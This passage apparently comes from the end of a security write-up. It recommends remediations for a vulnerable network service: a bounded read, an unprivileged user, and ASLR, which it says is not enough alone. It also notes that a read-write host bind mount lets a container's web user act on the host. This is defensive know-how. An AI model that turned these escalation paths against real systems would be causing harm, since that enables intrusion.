  6. That leaves the network service: bound the read with fgets or a width in the format, and run the service as an unprivileged user. Setting randomize_va_space to 2 is worth doing but is not a fix by itself, because a network service can be retried.

Key Takeaways

  • A read-write bind mount served by the host makes the container’s web user a host web user.
  • Remove your own root shell with your own root shell, before the thing that reaches it.